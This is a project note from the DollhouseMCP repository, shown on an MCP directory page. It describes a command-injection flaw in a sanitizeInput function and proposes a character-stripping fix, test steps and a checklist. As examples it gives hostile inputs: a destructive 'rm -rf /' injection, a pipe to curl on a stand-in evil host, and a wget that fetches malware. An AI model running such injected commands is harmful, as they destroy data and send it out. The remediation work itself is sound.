Skip to main content
Glama

DollhouseMCP

by DollhouseMCP
CRITICAL_FIXES_NEEDED.mdโ€ข2.36 kB
# CRITICAL SECURITY FIXES NEEDED ## ๐Ÿ”ด URGENT: Command Injection Vulnerability ### Problem The `sanitizeInput()` function in `/src/security/InputValidator.ts` is NOT removing dangerous characters, leaving the system vulnerable to command injection attacks. ### Current State (BROKEN) ```typescript // Test input: "; rm -rf /" // After sanitizeInput(): "; rm -rf /" (NO CHANGE!) ``` ### Required Fix ```typescript // src/security/InputValidator.ts export function sanitizeInput(input: string): string { if (!input) return ''; // Remove command injection characters let sanitized = input .replace(/[;&|`$()]/g, '') // Shell metacharacters .replace(/\r?\n/g, ' ') // Newlines .replace(/\x00/g, '') // Null bytes .replace(/[\x1B\x9B]/g, '') // ANSI escape sequences .replace(/[\u202E\uFEFF]/g, '') // Unicode direction/zero-width .trim(); return sanitized; } ``` ## Test Failures Summary ### 1. Input Validation Tests (`input-validation-security.test.ts`) - **Failing**: sanitizeInput tests - dangerous characters not removed - **Impact**: Command injection possible in all user inputs ### 2. MCP Tools Security Tests (`mcp-tools-security.test.ts`) - **Issue**: Import errors due to ESM/CommonJS - **Fix**: Remove `__filename`/`__dirname`, use `process.cwd()` ### 3. Security Validators Tests (`security-validators.test.ts`) - **Status**: Depends on fixing sanitizeInput first ## Quick Fix Commands ```bash # 1. Fix the sanitizeInput function code src/security/InputValidator.ts # 2. Test the fix npm test -- __tests__/security/tests/input-validation-security.test.ts # 3. Run all security tests npm run security:all # 4. If all pass, commit and push git add -A git commit -m "Fix critical command injection vulnerability in sanitizeInput" git push ``` ## Validation Checklist - [ ] sanitizeInput removes: ; | & $ ` ( ) - [ ] sanitizeInput removes: \n \r \x00 - [ ] sanitizeInput removes: ANSI escapes - [ ] All input validation tests pass - [ ] All security tests pass - [ ] No regression in existing tests ## Why This Matters Without proper input sanitization, attackers can: - Execute arbitrary commands on the server - Delete files with `; rm -rf /` - Exfiltrate data with `| curl evil.com` - Install backdoors with `&& wget malware` This MUST be fixed before any production use!

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/DollhouseMCP/DollhouseMCP'

If you have feedback or need assistance with the MCP directory API, please join our Discord server